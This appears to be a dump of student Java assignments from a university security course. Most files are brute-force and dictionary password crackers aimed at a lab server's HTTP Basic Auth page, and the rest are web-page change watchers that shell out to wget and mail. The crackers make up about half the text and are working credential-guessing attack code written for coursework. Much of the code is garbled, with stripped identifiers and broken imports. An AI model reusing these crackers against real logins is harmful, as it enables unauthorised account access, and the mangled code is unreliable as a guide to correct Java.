            sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
            if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
            {
               passwd=password;
               return passwd;
            }
            sec.disconnect();
         }
      }  
      return null;
   }

   private static String getPasswordRuns4(String[] wordSize3) throws Exception
   {
      int attempt=0;
      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
      HttpURLConnection sec;  
      String password="" ""; 
      String passwd=null;      

      for (int i=0; i< wordSize3.length; i++)
      {
        attempt++;
        password= wordSize3[i];
        String userPasswd= "":""+password;
        System.out.println(attempt+"" ""+userPasswd);

        sec = (HttpURLConnection)url.openConnection();
        sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));
        if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
        {
          passwd=password;
          return passwd;
        }
            sec.disconnect();
      }
      return ""Password not found"";
   }

 
   private static String getPasswordRuns1(String[] wordSize1) throws Exception
   {
      URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
      HttpURLConnection sec;  
      String password="" ""; 
      String passwd=null;      
      
      for (int i=0; i< wordSize1.length; i++)
      {
         for (int j=0; j< wordSize1.length; j++)
         {
            for (int k=0; k< wordSize1.length; k++)
            {
             password= wordSize1[i]+wordSize1[j]+wordSize1[k];
             String userPasswd= "":""+password;
             System.out.println(userPasswd);

             sec = (HttpURLConnection)url.openConnection();
             sec.setRequestProperty(""Authorization"", "" "" + encode(userPasswd));

             if (sec.getHeaderField(0).equals(""HTTP/1.1 200 OK""))
             {
                passwd=password;
                System.out.println(""Password is loop1 readfile:""+password);
                return passwd;
             }
             sec.disconnect();
            } 
          }  
       }
       return passwd;
   }

  private static String encode(String userPasswd) throws Exception
   {
      String ;
      String encodedUserPasswd="" "";
      String addr= ""~//base64_encode.php ""+userPasswd ;
      Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", addr});
      BufferedReader resp = new BufferedReader(new InputStreamReader(p.getInputStream()));

      while ( (bf  = resp.readLine()) != null )
      {
         encodedUserPasswd=bf.get;
      }
      return encodedUserPasswd;
   }





}
"
066.java,"import java.io.*;
import java.util.*;
import java.Object;
import java.String;

class WatchDog
{
    public static void main (String [] args)
    {
      try{
       int i = 0, day1,change = 0;
       Date dt = new Date();
       i = dt.getDate();
       System.out.println();
       Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students"");
       System.out.println(""THE PROGRAMMING IS RUNNING,IF  WANT  EXIT,PRESS CTRL + Z\n"");
       System.out.println(""Today is: "" + dt );
           for(int i= 1 ; i > 0; i++)
           {
              Date dt1 = new Date();
              day1 = dt1.getDate();
              if( i != day1)
              {
              System.out.println(""this  is: "" + i );
               i = day1;
              change = check_web();
              }
               if (change == 1)
                break;
           }
         }
     catch(IOException ex)
      {
           System.out.println(""hello,try"");
      }
   }

    public static int check_web()
    {
    try{
    int ch=0;
    String line="""";
    String file = ""index.html"";
    String file1 = ""index.html.1"";
    Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students"");
    Runtime.getRuntime().exec(""diff index.html index.html.l > diff."");
    File f = new File(""diff."");
    if (f.length()!=0)
    {
     ch = 1;
     Runtime.getRuntime().exec(""mail @cs.rmit.edu. < diff.""); 
    }
    else
     System.out.println(""the webpage was not changed!!!"");
     File f1 = new File(file);
     File f2 = new File(file1);
     if(ch == 1)
     {
      f1.delete(); 
     }
     else
      f2.delete(); 

      return ch;
    }
    catch(IOException e)
    {
      System.out.println(""hello,try again!!!"");
      return 1;
    }
  }

}
"
075.java,"



import java.io.*;
import java.net.*;

public class WatchDog
{
   public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException
   {
      final String fullurl = ""http://www.cs.rmit.edu./students/"";
      final int waitperiod = 1000*60*60*24;
      final String email = ""@cs.rmit.edu."";
       lastmodified = 0;
       lastmodifiedsave = 0;
      boolean first = true;
      URL url = new URL(fullurl);
      while(true)
      {
         URLConnection uc = url.openConnection();
         lastmodified = uc.getLastModified();
         if(first)
         {
            
            lastmodifiedsave = lastmodified;
            first = false;
            Execute ex1 = new Execute(""wget -q -nc -O  ""+fullurl);
         }
         
         if(lastmodified != lastmodifiedsave)
         {
            lastmodifiedsave = lastmodified;
            
            Execute ex2 = new Execute(""mv  .old"");
            
            Execute ex3 = new Execute(""wget -q -nc -O  ""+fullurl);
            Execute ex4 = new Execute(""echo \""The  ""+fullurl+"" was modified, here  the modifications:\"" > pagediff"");
            
            Execute ex5 = new Execute(""diff  .old >> pagediff"");
            
            Execute ex6 = new Execute(""mailx -s \"" modification\"" \""""+email+""\"" < pagediff"");
            System.out.println(""Modification notice! Check your mail."");
         }
         
         
         Thread.sleep(waitperiod);
      }
   }
}
"
016.java,"



import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;

public class PasswordCombination
{
    private int      pwdCounter = 0;
    private   int   startTime;
    private String   str1,str2,str3;
    private String   url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
    private String   loginPwd;
    private String[] password;
    private HoldSharedData data;
    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
                            'a','b','c','d','e','f','g','h','i','j','k','l','m',
                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};

    public PasswordCombination()
    {
        System.out.println(""Programmed by   for INTE1070 Assignment 2"");

        String input = JOptionPane.showInputDialog( ""Enter number of threads"" );
        if(  input == null  )
           System.exit(0);

        int numOfConnections = Integer.parseInt( input );
        startTime = System.currentTimeMillis();
        int pwdCounter = 52*52*52 + 52*52 + 52;
        password = new String[pwdCounter];


        loadPasswords();
        System.out.println( ""Total Number of Passwords: "" + pwdCounter );
        createConnectionThread( numOfConnections );
    }

    private void doPwdCombination()
    {
        for( int i = 0; i < 52; i ++ )
        {
            str1 = """" + chars[i];
            password[pwdCounter++] = """" + chars[i];
            System.err.print( str1 + "" | "" );

            for( int j = 0; j < 52; j ++ )
            {
                str2 = str1 + chars[j];
                password[pwdCounter++] = str1 + chars[j];

                for( int k = 0; k < 52; k ++ )
                {
                    str3 = str2 + chars[k];
                    password[pwdCounter++] = str2 + chars[k];
                }
            }
        }
    }

    private void loadPasswords( )
    {
        FileReader     fRead;
        BufferedReader buf;
        String         line = null;
        String         fileName = ""words"";

        try
        {
            fRead = new FileReader( fileName );
            buf = new BufferedReader(fRead);

            while((line = buf.readLine( )) != null)
            {
                password[pwdCounter++] = line;
            }
        }
        catch(FileNotFoundException e)
        {
            System.err.println(""File not found: "" + fileName);
        }
        catch(IOException ioe)
        {
            System.err.println(""IO Error "" + ioe);
        }
    }

    private void createConnectionThread( int input )
    {
        data = new HoldSharedData( startTime, password, pwdCounter );

        int numOfThreads = input;
        int batch = pwdCounter/numOfThreads + 1;
        numOfThreads = pwdCounter/batch + 1;
        System.out.println(""Number of Connection Threads Used="" + numOfThreads);
        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];

        for( int index = 0; index < numOfThreads; index ++ )
        {
            connThread[index] = new ConnectionThread( url, index, batch, data );
            connThread[index].conn();
        }
    }
}  "
211.java,"
import java.io.*;
import java.net.*;

public class BruteForce
{

  public static void  main(String args[])
  {
    StringWriter sw = new StringWriter();
    PrintWriter  pw = new PrintWriter();
    int flag=1;
    String[] letter = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",
                        ""O"",""P"",""Q"",""R"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"",
                        ""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",
                        ""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""""};

    String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/"");
    String thePassword= new String();
     stime = System.currentTimeMillis();
System.out.println("""");
    for(int i=0; i<letter.length;i++)
    {
      for(int j=0; j<letter.length; j++)
      {
        for(int k=0;flag==1 && k<letter.length; k++)
        {
          try {
            URL url = new URL (urlString);
            thePassword=letter[i].trim()+letter[j].trim()+letter[k].trim();

            String userPassword = """" + "":"" + thePassword;

            String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
            URLConnection uc = url.openConnection();
            uc.setRequestProperty(""Authorization"", "" "" + encoding);
            InputStream content = (InputStream)uc.getContent();
             endtime = System.currentTimeMillis();
            BufferedReader in   =
                      new BufferedReader (new InputStreamReader (content));
            String line;
            while ((line = in.readLine()) != null) {
            pw.println (line);
            }
            flag=0;
            System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");
          }catch (MalformedURLException e) {

           flag=1;
          }catch (IOException e) {

           flag=1;
          }
        }
        if(flag==0)
          break;
        else
         System.out.println(""letter j ->""+ letter[j]+"" elapsed"");
      }
      if(flag==0)
         break;
      else
         System.out.println(""letter i ->""+ letter[i]+"" elapsed"");
    }
    System.out.println(""content is ""+ sw.toString());
   }
 }"
250.java,"






class C {
    
    
    
    private static byte[] cvtTable = {
        (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
        (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
        (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
        (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
        (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
        (byte)'Z',
        (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
        (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
        (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
        (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
        (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
        (byte)'z',
        (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
        (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
        (byte)'+', (byte)'/'
    };

    
    static String encode(String name,
                         String passwd) {
        byte input[] = (name + "":"" + passwd).getBytes();
        byte[] output = new byte[((input.length / 3) + 1) * 4];
        int ridx = 0;
        int chunk = 0;

        
        for (int i = 0; i < input.length; i += 3) {
            int left = input.length - i;

            
            if (left > 2) {
                chunk = (input[i] << 16)|
                        (input[i + 1] << 8) |
                         input[i + 2];
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
                output[ridx++] = cvtTable[(chunk&0x3F)];
            } else if (left == 2) {
                
                chunk = (input[i] << 16) |
                        (input[i + 1] << 8);
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
                output[ridx++] = '=';
            } else {
                
                chunk = input[i] << 16;
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = '=';
                output[ridx++] = '=';
            }
        }
        return new String(output);
    }
}"
105.java,"

import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;

public class Dictionary
{
  public Dictionary()
  {}

  public boolean fetchURL(String urlString,String username,String password)
  {
     StringWriter  sw= new StringWriter();
     PrintWriter  pw = new PrintWriter();
     try{
       URL url=new URL(urlString);  
       String userPwd= username+"":""+password;

       
       
       
       

       BASE64Encoder encoder = new BASE64Encoder();
       String encodedStr = encoder.encode (userPwd.getBytes());
       System.out.println(""Original String = "" + userPwd);
	 System.out.println(""Encoded String = "" + encodedStr);

       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
       huc.setRequestProperty( ""Authorization"","" ""+encodedStr);   
       InputStream content = (InputStream)huc.getInputStream();
       BufferedReader in   =
       new BufferedReader (new InputStreamReader (content));
       String line;
       while ((line = in.readLine()) != null) {
         pw.println (line);
       System.out.println("""");
       System.out.println(sw.toString());
       }return true;
     } catch (MalformedURLException e) {
       pw.println (""Invalid URL"");
       return false;
     } catch (IOException e) {
       pw.println (""Error  URL"");
       return false;
     }

  }

  public void getPassword()
  {
     String dictionary=""words"";
     String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/"";
     String login="""";
     String pwd="" "";

     try
     {
       BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
        startTime=System.currentTimeMillis();
       while (pwd!=null)
       {
         pwd=inputStream.readLine();
         if(this.fetchURL(urlString,login,pwd))
         {
            finishTime=System.currentTimeMillis();
           System.out.println(""Finally I gotta it,  password is : ""+pwd);
           System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds"");
           System.exit(1);
         } 

       }
       inputStream.close();
     }
     catch(FileNotFoundException e)
     {
       System.out.println(""Dictionary not found."");
     }
     catch(IOException e)
     {
       System.out.println(""Error  dictionary"");
     }
  }

  public static void main(String[] arguments)
  {
     BruteForce bf=new BruteForce();
     bf.getPassword();
  } 
}"
077.java,"





import java.io.*;
import java.net.*;



public class Dictionary
{
   public static void main (String args[]) throws IOException,
   MalformedURLException
   {
      final String username = """";
      final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
      final String dictfile = ""/usr/share/lib/dict/words"";
      String temppass;
      String password = """";
      URL url = new URL(fullurl);
      boolean cracked = false;

       startTime = System.currentTimeMillis();

      
      BufferedReader r = new BufferedReader(new FileReader(dictfile));

      while((temppass = r.readLine()) != null && !cracked)
      {  
         
         if(temppass.length() <= 3)
         {
            
            if(isAlpha(temppass))
            {
               
               Authenticator.setDefault(new MyAuthenticator(username,temppass));
               try{
                  BufferedReader x = new BufferedReader(new InputStreamReader(
                     url.openStream()));
                  cracked = true;
                  password = temppass;
               } catch(Exception e){}
            }
         }
      }

       stopTime = System.currentTimeMillis();
      
      if(!cracked)
         System.out.println(""Sorry, couldnt find the password"");
      else
         System.out.println(""Password found: ""+password);
      System.out.println(""Time taken: ""+(stopTime-startTime));
   }

   public static boolean isAlpha(String s)
   {
      boolean v = true;
      for(int i=0; i<s.length(); i++)
      {
         if(!Character.isLetter(s.charAt(i)))
            v = false;
      }
      return ;
   }
}

"
129.java,"import java.net.*;
public class MyAuthenticator extends Authenticator
{
	PasswordAuthentication pa=null;;
	protected PasswordAuthentication getPasswordAuthentication()
	{
		return pa;
	}
	void setPasswordAuthentication(PasswordAuthentication p)
	{
		this.pa=p;
	}

}"
245.java,"















import java.*;
import java.io.*;
import java.text.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;

public class WatchDog {

   public static void main(String[] args) throws IOException {

      
      String host = ""http://www.cs.rmit.edu./students/"";

      String outFilename = null; 
      String diffFilename = null; 

      
      String email = ""@cs.rmit.edu.""; 
      String subject = null; 
      String message = ""msg""; 
      String mutt = null; 

      
      List currentList = new ArrayList();
      List previousList = new ArrayList();
      List diffList = new ArrayList();
      String line = null;
      String previousLine = null;
      String diffLine = null;

      
      int sleepTime = 1000 * 60 * 60 * 24; 


      SimpleDateFormat format = new SimpleDateFormat(""yyyyMMddkmm"");
      Date currentDate = null;

      int c=0;

       {
         try {
            
            URL url = new URL(host);
            HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
            InputStream webIn = httpConnect.getInputStream();
            BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) );

            
            
            currentDate = null;
            currentDate = new java.util.Date();
            String dateString = format.format(currentDate);

            
            outFilename = ""watch_"" + dateString; 
            File outputFile = new File(outFilename);
            FileWriter out = new FileWriter(outputFile);

            
            diffFilename = ""diff_"" + dateString; 
            File diffOutputFile = new File(diffFilename);
            FileWriter diffOut = new FileWriter(diffOutputFile);

            line = """"; 

            
            while (( line = webReader.readLine()) != null ) {
                currentList.add(line + ""\n""); 
            }

            webReader.close(); 

            Iterator iter = currentList.iterator();

            
            line = """";
            previousLine = """";
            diffLine = """";

            
            int l=0; 
            int d=0; 

            while (iter.hasNext()) {
              line = String.valueOf(iter.next());
              out.write(line); 

               
               if (!previousList.isEmpty()) {
                  try {
                     previousLine = String.valueOf(previousList.get(l));


                     if (line.compareTo(previousLine)==0) {
                     } else {
                        
                        diffLine = ""Line "" + (l+1) + "" has changed :  "" + line;
                        diffOut.write(diffLine);
                        d++; 
                     }

                  } catch (Exception e) {
                     
                     
                     diffLine = ""Line "" + (l+1) + "" has been added:  "" + line + "" \n"";
                     diffOut.write(diffLine);
                     d++; 
                  } 
               } 

              l++; 
            }

            
            out.close();
            diffOut.close();

            
            previousList.clear();
            previousList.addAll(currentList);
            currentList.clear();
            diffList.clear();

            if (d>0) {
               
               subject = ""WatchDog_"" + dateString; 
               mutt = ""mutt -a "" + diffFilename + "" -s "" + subject + "" "" + email;

               System.out.println(""The webpage has changed."");
               Runtime rt = Runtime.getRuntime();
               rt.exec(mutt);
               
               

               System.out.println(""Email sent  "" + email + "" at "" + dateString);

            } else if (c>0) {
               
               System.out.println(""Webpage checked at "" + dateString + "" and  changes were found"");
            }

         } catch(MalformedURLException e) {
            System.out.println(""Opps, the URL "" + host + "" is not valid."");
            System.out.println(""Please check the URL and try again."");
            System.exit(0);

         } catch(IOException e) {
            System.out.println("", 't connect  "" + host + ""."");
            System.out.println(""Please check the URL and try again."");
            System.out.println(""Other possible causes include website is currently unavailable"");
            System.out.println("" I have a problem   writing ."");
            System.exit(0);

         } 

         
         try {
            Thread.sleep(sleepTime);
         } catch (Exception e) {
            
         } 

         c++;
      }  while(true); 
   }
}"
046.java,"import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;




public class WatchDog{
   
   
   
   
   
   public static void main (String[] args) throws InterruptedException, IOException{

    
    String urlString = ""http://www.cs.rmit.edu./students/"";
    
  
    String mesg = """";
    
    boolean flag = false;
    
    InputStream rtemp;
    
    if (args.length == 2) {
      	
      	System.err.println (
      		
      		""Usage : java BruteForce <Host> <Mailhost> <Sending E-mail>"");
      	return;
      	
     }
    
    
    
    BufferedReader rnew;
    
    BufferedReader rold = ReadFile (urlString);
    
    SaveFile(""weblog"",urlString); 
   
    Date lasttime  =  CheckTime(urlString);
    
   
    Date newtime = new Date();
    
    int i = 0; 
    
    System.out.println(""......""); 
    
    
    while (true) {
    	
    	   	
    	newtime =  CheckTime(urlString);
    	
    	System.out.println (""Checking ""+ new Date());
    	
    	if (newtime.toString().equals(lasttime.toString())==false) {
    		
    	
    	    rnew = ReadFile (urlString);
    	    	
    		    		
    		mesg = CompareFile(rold,rnew);
    		
     		
     		SaveFile(""weblog"",urlString);
     		
     		
     		rold = OpenFile (""weblog"");
     		
 		
    		lasttime=newtime;
    		
    	    System.out.println(""Sending message"");
    	    
    	    SendMail(trimtag(mesg),args[0],args[1],args[2]); 
    	    
    	    System.out.println(trimtag(mesg));
    	
    	
    	} 
    	
    	Thread.sleep (24*3600*1000);  
   	}
    
    
    
    }

  
  
  private static BufferedReader ReadFile  (String urlString) throws IOException{
  	
  	                          
 
        URL url = new URL (urlString);

        
        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
        
         
        InputStream in = (InputStream) uc.getInputStream();
         
        BufferedReader r = new BufferedReader (new InputStreamReader (in));
       
        
        
        return r;
      
        
   }

  

  private static BufferedReader OpenFile  (String FileName) throws IOException{
  	
        FileInputStream  in = new FileInputStream (FileName);
        
        InputStreamReader is= new InputStreamReader (in); 	                          
  
        BufferedReader r = new BufferedReader (is);
       
      
        return r;
        
        
      
        
   }


  
  
private static void SaveFile  (String FileName, String urlstring) throws IOException{
  	
  	    
  	String cmd = ""wget -q ""+urlstring+"" -O ""+ FileName ;
  	
  	
  	Runtime.getRuntime().exec(cmd); 
  	    
   }

  
  
  
   
  private static Date CheckTime (String urlString) throws IOException {
  	
  	    URL url = new URL (urlString);

        
        HttpURLConnection uc = (HttpURLConnection) url.openConnection();
        
        uc.setRequestMethod (""HEAD"");
        
        return (new Date (uc.getLastModified()));
        
                
       
   } 
  
  
  
  private static String CompareFile (BufferedReader inold, BufferedReader innew) throws IOException{
  	
  	
  	
  	    Vector newF= new Vector ();
        Vector oldF= new Vector ();


        int old_count=0;
	 	int new_count=0;

	 	String line="""";

        StringBuffer mesg = new StringBuffer (""NEW CONTENT : \n"");

	 	int j;
        
      
       
	    while ((line=inold.readLine())!= null){

	 		  if (line.trim().length()!=0){
	 		  oldF.addElement(line);
	 		 
	 	
	 		  
	 		 }

	 		 }

	 	while ((line=innew.readLine()) != null){
	 		  if (line.trim().length()!=0){
	 		  newF.addElement(line);
	         }

	 		 }

	 	for (int i=0; i<newF.size();i++){

	 		 j=0;

	 		 while (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))==false){

	 		 	j++;
                
                if (j==oldF.size()) 
                {   j--;
                	break;
                 }
	 		 	}

            
             
	 		 if (((String)newF.elementAt(i)).equals((String)oldF.elementAt(j))){

                 newF.removeElementAt(i);
	 	         i--;
	 	         oldF.removeElementAt(j);


	 		 	}

	 	 	}



	 	for (int i=0; i<newF.size();i++){

	 	  mesg.append((String)(newF.elementAt(i)));
	 	  mesg.append(""\n"");
          }


	    mesg.append(""OLD CONTENT: \n"");

         for (int i=0; i<oldF.size();i++){

          mesg.append((String)oldF.elementAt(i));
          mesg.append(""\n"");
       
	 	}

     


	    return mesg.toString();



	 


}



private static void SendMail (String mesg, 
           String host,String mailhost, String sending ) throws IOException {
	
    String send_cmd = """";

	try {
		
		Socket s = new Socket (host, 25);
		
	    PrintStream os = new PrintStream (s.getOutputStream());
	    
        send_cmd = ""HELO "" + mailhost;
        
        os.print(send_cmd + ""\r\n"");
        
        send_cmd = ""MAIL From : website@cs.rmit.edu."";
        
        os.print(send_cmd + ""\r\n"");
        
        send_cmd = ""RCPT  : "" + sending;
        
        os.print(send_cmd + ""\r\n"");
        
        send_cmd = ""DATA"";
        
        os.print(send_cmd + ""\r\n"");
        
        send_cmd = (""Subject: Website Change Notice"");
        
        os.print(send_cmd + ""\r\n"");
        
        os.print(""\r\n"");
        
        os.print(mesg+""\r\r\n"");
        
        os.print("".\r\n"");
        
        os.print(""QUIT"");
        
  	
	} catch (IOException e) {
		System.out.println(e);
	}
	

	
  }


private static String trimtag (String mesg){
	
	String[] taglist = {""<a"", ""<A"", ""<applet "", ""<APPLET"", ""<img "", ""<IMG ""}; 
	
	String subst = """";
	
	StringBuffer tempst= new StringBuffer();
	int j = 0;
	
	int i = 0;
	
	int m = 0;
	
	
	while (mesg.length()!=0) {
	   
	   m=0;
	   
	   i = mesg.indexOf(""<"");
	   
	   
	   if (i!=-1) {
	     
	     tempst.append(mesg.substring(0,i));
	     
	     	
	   } 
	   else {  	
	    tempst.append(mesg.substring(0));
	    break;
       }
	   
	   
	   j = mesg.indexOf("">""); 
	
	   
	   subst=mesg.substring(i,j+1); 
	 
	   while (subst.startsWith(taglist[m])==false) {
	   	
	   	m++;
	   	
	   	if (m==taglist.length) 
	   	
	   	{   m--;
	   		break;
	    }
	   	
	   	}	
	   
	   if (subst.startsWith(taglist[m])) tempst.append (subst);
	   
	   
	   mesg = mesg.substring(j+1);
	   
	   
	   }
	
	  return tempst.toString();
	  
	}




} "
227.java,"import java.io.*;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.*;
import java.security.cert.*;

public class Dictionary
{
	public static void main(String[] args)
	{
		BufferedReader in = null;
		boolean found = true;
		String word = null;
		String cmd = null;
		Runtime run = Runtime.getRuntime();
		Process pro = null;
		BufferedReader inLine = null;



		String str = null;
		URLConnection connection = null;

		try
		{
			FileReader reader = new FileReader(""words"");
			in = new BufferedReader(reader);
			System.out.println("" cracking...."");
			
			{
				found = true;
				word = new String(in.readLine());

				cmd = ""wget --http-user= --http-passwd=""+word +"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";

				pro = run.exec(cmd);
				inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));


				if((str=inLine.readLine())!=null)
				{

					while ((str=inLine.readLine())!=null)
					{
						if (str.endsWith(""Required""))
						{

							found = false;
						}

					}
				}






				run.gc();
			}
			while (!found);





		}
		catch (FileNotFoundException exc)
		{
			System.out.println(exc);
		}
		catch (IOException exc)
		{
			System.out.println(exc);
		}
        catch (NullPointerException ex)
        {
            System.out.println(word);
        }
		finally
		{
			try
			{
				if (in!= null)
				{
					in.print();
				}
			}
			catch (IOException e) {}
		}
		if (found == true)
			System.out.println(""The password is :"" + word);
        else
            System.out.println(""NOT FOUND!"");
	}
}"
102.java,"

import java.net.*;
import java.io.*;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.*;
import java.*;


public class Dictionary {
    public static void main(String[] args) throws Exception {
        String pass;
        int attempt = 0;
        String fileName = ""words.txt"", line;
        BufferedReader reader;
        Dictionary dict = new Dictionary();
        boolean flag=false;

        System.out.println(System.currentTimeMillis()/1000);

      try{
        reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
        while (!flag)
        {
            try{
               line = reader.readLine();
               attempt++;
               URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
               URLConnection yc = url.openConnection();
               pass = "":"" + line;
               String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
               yc.setRequestProperty(""Authorization"","" ""+password);
               BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
               String inputLine;
               while ((inputLine = in.readLine()) != null)
                   System.out.println(inputLine);
               in.close();
               System.out.println(pass);
               flag=true;
               System.out.println(System.currentTimeMillis()/1000); 
               System.out.println("" of attempt: ""+attempt);
               System.exit(0);
             }catch(IOException e){
                
             }
        }  
      }catch(FileNotFoundException e){
         System.out.println(""File not found"");

      }
    }
}"
070.java,"

import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;



public class Dictionary {
  
  public Dictionary(String url, String dictionaryFile) {
    try{
      this.url = url;
      this.dictionaryPath = dictionaryFile;
      InputStream fis = new FileInputStream(this.dictionaryPath);
      dict = new BufferedReader(new InputStreamReader(fis));

    }catch(IOException ioe){
      System.out.println(""Error opening dictionary file:\n"" +ioe);
    }
  }


  
  private String url = null;
  
  private String dictionaryPath = null;
  
  private BufferedReader dict = null;
  
  private int attempts = 0;
  
  private int passwordSize = 3;
  
  public void setPasswordSize(int size){
      this.passwordSize = size;
  }
  
  public String getNextPassword()throws IOException{

    String line = dict.readLine();

      while(line!=null&&line.length()!=this.passwordSize )
        line = dict.readLine();

    return line;
  }
  
  public String crackPassword(String user) throws IOException, MalformedURLException{
    URL url = null;
    URLConnection urlConnection = null;
    String outcome = null;
    String  authorization = null;
    String password = null;
    BASE64Encoder b64enc = new BASE64Encoder();
    InputStream content = null;
    BufferedReader in = null;


    while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){

      url = new URL(this.url);
      urlConnection = url.openConnection();
      urlConnection.setDoInput(true);
      urlConnection.setDoOutput(true);


      urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1"");
      urlConnection.setRequestProperty(""Host"", url.getHost());
      password = getNextPassword();
      if(password == null)
        return null;
      System.out.print(password);
      authorization = user + "":"" + password;


      urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes()));


outcome = urlConnection.getHeaderField(null); 



      this.attempts ++;
      urlConnection = null;
      url = null;
      
      if(this.attempts%51 == 0)
        for(int b = 0; b < 53;b++)
          System.out.print(""\b \b"");
      else
        System.out.print(""\b\b\b."");


    }
    return password;
  }
  
  public int getAttempts(){
    return this.attempts;
  }
  public static void main (String[] args) {
    if(args.length != 3){
      System.out.println(""usage: java attacks.Dictionary <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>"");
      System.exit(1);
    }

    Dictionary dictionary1 = new Dictionary(args[0], args[2]);
    try{
      Calendar cal1=null, cal2=null;
      cal1 = Calendar.getInstance();
      System.out.println(""Cracking started at: "" + cal1.getTime().toString());
      String password = dictionary1.crackPassword(args[1]);
      if(password != null)
        System.out.println(""\nPassword is: ""+password);
      else
        System.out.println(""\nPassword could not  retrieved!"");
      cal2 = Calendar.getInstance();
      System.out.println(""Cracking finished at: "" + cal2.getTime().toString());
      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
      System.out.println(""Total Time taken  crack: "" + (d3.getTime())/1000 + "" sec"");
      System.out.println(""Total attempts : ""  + dictionary1.getAttempts());

    }catch(MalformedURLException mue){
      mue.printStackTrace();
    }

    catch(IOException ioe){
      ioe.printStackTrace();
    }
  }
}"
108.java,"




import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;



public class DictionaryPropertyHelper {

	private static Properties dictProps;



	public DictionaryPropertyHelper() {
	}


	
	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println(""Error init'ing the dictionary Props"");
			e.printStackTrace();
		}
		return dictProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(dictProps == null){
			dictProps = new Properties();

			InputStream fis =
				DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
			dictProps.load(fis);
		}
	}
}

"
240.java,"
import java.util.*;
import java.io.*;
import java.net.*;

class Dictionary
{

 public static void main (String a[])
 {
 String pwd="""";

   try
     {
     
     BufferedReader bf = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
     int i=0;
     while(bf.readLine() != null)
     {
     pwd= bf.readLine();  
     String userPassword = "":""+pwd;
     RealThread myTh = new RealThread(i,userPassword);
     Thread th = new Thread( myTh );
     th.start();
      try
      {
